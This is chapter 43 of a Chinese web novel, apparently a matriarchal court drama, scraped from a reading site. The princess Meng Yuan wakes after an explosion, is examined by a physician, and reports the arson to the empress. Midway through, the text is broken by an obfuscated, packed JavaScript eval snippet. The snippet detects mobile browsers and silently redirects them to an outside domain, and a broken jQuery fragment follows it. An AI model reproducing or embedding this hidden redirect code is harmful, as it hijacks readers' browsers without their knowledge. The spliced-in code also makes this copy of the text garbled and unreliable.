43. 太子醒了!

作品:《纯情皇男火辣辣(女尊)

    “唔...是刘管事么?”


    孟元的声音带着刚醒的沙哑,打破了两人之间的拉扯。


    萧解手一松,赵其添踉跄着扑到地上,发出一声闷响,他额角撞上门框当即泛起红痕。


    他捂着撞疼的地方刚要蹙眉,听见榻上传来的声音,惊得像只被踩了尾巴的猫,猛地转头望过去。


    “殿下!你怎么醒了?”


    萧解几乎是弹到榻边,她半跪下来,手指先探向孟元的额头,又飞快检查她的耳廓,见血渍不再溢出才敢抬头看她的眼睛。


    “还晕吗?还认识我吗?能不能听见我说话?”


    萧解从前在北疆军营里也见过被爆炸波及的士兵,先不说皮肤被灼伤有多痛,有时候甚至会失去记忆与听力。


    但愿殿下不会如此。


    一连串问句像炮仗接二连三,孟元被她问得眨了眨眼,右耳确实还有些闷闷的,但左耳已经能听清了。


    她沉默的反应让萧解越发焦躁,双唇抿得发灰。


    孟元忍不住抬手碰了碰她脸颊:“萧解,我没事,你先喘口气。”


    她刚要应声,就听见身后传来拖拉着脚步的声响。


    是赵其添正在踮着脚往门外挪,裙摆扫过地面带起细微的沙沙声。


    方才萧解跑来的同时赵其添也躲在纱帘后偷看,她不可能看不见他。


    “站住。”孟元沉声叫住他。


    赵其添的脚像被钉在地上,半晌才慢慢转过身,他微微昂起下巴显得坦然,但耳根的红几乎暴露了他的无措。


    “妻主既已无事,那...那我先告退了。”


    说罢他屈膝行礼后立马提着裙摆就跑,甚至还细心地将房门关上。


    榻上两人双双对视。


    萧解挠了挠鬓角,满脸不解:“主夫说来侍奉殿下,怎么就这样跑了?”


    孟元挑了挑眉,他衣裙上分明沾了草屑,袖口上也有几处被蹭脏的地方。


    她声音缓和下来,带着几分无奈:“前几日罚了他禁足,想来是躲开侍卫,翻墙进来的。”


    “那得给主夫院里再加些护卫才是。”


    萧解这才恍然大悟,随即又皱起眉。


    “殿下对他倒是宽容,若是寻常男子在萧府不守规矩早该一棍子打死。”


    孟元笑出声:“难不成真要打断他的腿?他那点小聪明,也就够翻个墙了。”


    她顿了顿,指着自己的耳朵:“右耳还是有点闷,不过比刚才好多了。”


    萧解想再检查看看,又觉得不妥,手稍稍抬起又放下。


    “李老已经去熬药,殿下还是要修养几日。”


    孟元接过话茬:“先别管药了。”


    她沉下面色:“爆炸时我看见有人在那房间里。”


    “那人竟如此不要命?!”


    孟元嘲讽一笑,是啊,自己都尚且昏迷,那人估计也该灰飞烟灭才是。


    但她说不上来,那爆炸真是因火油引爆的么?那些人为何要炸楼?她们跟江涅有关系吗?


    这些一无所知。


    “萧解,待会跟我一起去找母皇禀告此事。”


    萧解想到又要去见皇帝不自觉瑟缩后倾,虽说陛下是她的义母...但她其实还挺怕陛下的。


    陛下九五之尊,能不怕吗?


    哪怕自己初生牛犊不怕虎,但怕真龙啊!


    她挠挠脖子,双目移向一旁:“殿下,今日正是过节,陛下会不会也微服出来游玩了?”


    孟元掀开被子站起身,拉伸双臂时骨节发出轻微的脆响。


    “母皇执政以来从未有过额外的休息,说不定她正等着我们进宫呢。”


    萧解自然地点点头。


    她在北疆往硒阳城送军情,最多四天就能收到回信,有时信上就草率地写“北疆平安”四个大字,她原以为是礼官代笔,后来才知道真是陛下亲笔。


    当时吓得她连夜重写军报,不敢错半字,恭恭敬敬汇报细则。


    “那等殿下喝完药再去。”


    孟元转着脖颈活动筋骨,目光落在萧解身上时,忽然顿住。


    “要不我们都去洗洗吧,你外袍肯定不能穿了,我也沾了一身血腥灰烬。”


    她抬手,指尖轻轻触了触萧解脖颈,收回手后指腹上沾着暗红的血痂,还有些没凝固的血珠,黏糊糊的。


    孟元叹一口气。


    “下次护着我也多照看自己。”


    萧解捂上脖子,也是一手血,她笑了笑,这才后知后觉地疼起来。


    还真不知道自己也流血了,当时情况紧急,心脏都快蹦出嗓子眼,脑子里边只有殿下的安危。


    她从腰间抽出手帕给孟元擦拭,低着头擦得尤其认真。


    “我知道了,殿下。”


    “知道就要好好遵守,你可是我们大虞百姓的英雌。”


    两人齐齐轻笑,正笑着,身后就传来刘释异的声音,带着抑制不住的惊喜:“殿下醒了?!”


    刘释异站在帘边,脸上的镇定全没了,她身旁阿银提着食盒,正笑盈盈的。


    “我就说殿下吉人自有天相,怎么可能明日才醒。”


    刘释异快步走到孟元面前,比萧解还紧张,伸手探了探她的额头,又侧头看脑袋上还有没有伤口。


    “感觉怎么样?头还晕吗?要不要喝点水?”


    孟元被她这阵仗弄得哭笑不得。


    “刘管事,我没事。”


    话音未落,就见她转身往外走,步子快得像阵风。


    阿银疑惑问道:“殿下已经醒了,刘管事还去哪?”


    “去把李老抓来。”刘释异头也不回。“她说殿下明日才醒,让她再给您好好看看,万一落下什么病根可要不得。”


    阿银也是第一次见刘管事如此风风火火,跟往日里那贯全然不同。


    孟元无奈摇摇头:“让她去吧,省得她总惦记着。”


    她看向萧解,“百花楼那边...怎么样了?”


    萧解脸上的轻松淡了些:“烧得差不多,老板爹还在门口哭。”她顿了顿,“芍药...他没大碍,就是受了惊吓。”


    孟元点点头,刚想说什么,就听见院外传来李巽中气十足的叫喊。


    “丫头!你一个劲拉我干什么?老妇我的药还没熬好呢!”


    两人拉拉扯扯地进了屋,李巽被刘释异拽着胳膊,头发有些乱,手里还攥着个药杵。


    “我的后土娘娘啊,殿下怎么醒了?”


    李巽一看见孟元,眉头扭成一团,她甩开刘释异的手,大跨步腾腾就走到几人之间。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049754|178292||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “殿下请先回榻上。”


    孟元见她如此表情也照做起来。


    还也不等自己说话,李巽伸手就搭上腕脉,手指搭了片刻,又翻看她的眼睑,最后用银签碰了碰她的耳廓,眉头皱了又松,松了又皱。


    “殿下怎么样了?”刘释异在一旁急忙问道。


    李巽无视她,检查时嘶了一声又嗯一声不停。


    过了一会她才收回手,慢悠悠道:“脉象比刚才稳多了,耳脉虽有些受损,但没伤及根本,喝了我的药,再静养几日,保管没事。”


    她翻刘释异一眼:“我就说没事吧,偏要一个劲拉我来。”


    李巽拢了拢袖子。


    “殿下身子骨硬朗,醒得早有什么稀奇?想当年!”


    “好了好了。”孟元笑着打断她。“多谢李老,也多谢刘管事挂心。”


    她看向萧解。“带萧将军去客房,备点浴水和餐食。”


    三人齐齐拱手行礼。


    “微臣告退。”


    萧解刚走到门口,就听见李巽又开始跟刘释异“拌嘴”。


    “我说刘丫头,你这一惊一乍的,哪有一个管事的风范。”


    “我担心殿下有错吗?”


    “没错没错,就是下次别拽老妇我的老胳膊,都快给拽脱臼了...”


    孟元听着门外声响,嘴角笑意渐深,太子府这些人啊就是这样,就是很可爱的。


    一番洗漱过后,两人轻车赶往皇宫。


    孟元换了身玄色常服,头发仅用一支玉簪固定,萧解也准备妥当,换上了一身利落的靛蓝色劲装,腰间悬着烈月刀。


    孟元脚下不停。


    “母皇若是问起诸事细节,你如实说便是。”


    萧解点头应下,指尖却不自觉攥紧了刀柄。


    说话间已到皇帝寝宫外,侍卫见是太子殿下,躬身行礼后便要通报。


    孟元抬手止住:“不必,母皇该是晓得我要来。”


    萧解将烈月刀从腰带上解开,转交给礼官存放。


    宫门被侍从推开,果然见皇帝孟景平坐在案前批阅奏折,一袭浅灰丝绸外袍穿在身上,金线上绣的五爪龙栩栩如生。


    听见动静,孟景平抬眸,眼底的疲惫在触及孟元时淡了几分。


    “元儿。”她放下朱笔,声音平静无波。


    “儿臣有一事禀报。”孟元屈膝行礼,萧解紧随其后跪下。


    “赐座,是为今日百花楼被袭一事而来?”孟景平指尖敲击着案面,发出规律的轻响。


    “金吾卫已第一时间过去,她们说在火场看到了你和萧解,你们没事吧。”


    “儿臣无碍。”


    “微臣也是。”


    孟景平双手放至身前,缓缓道:“因百花楼失火而死者有三十五人为百花楼男倌,重伤者二十人,轻伤七十余人。”


    孟元闭上眼默哀,终究酿成一场惨祸。


    她抬眼间迎上孟景平的目光。


    “金吾卫已在城中告示,称百花楼是因火油放置不当而引起的失火。”孟景平站起身走了出来。


    她看向萧解时露出几分和蔼。“解丫头。”


    萧解立马起身:“陛下。”


    “不如,你跟元儿一起把这纵火犯抓住如何?”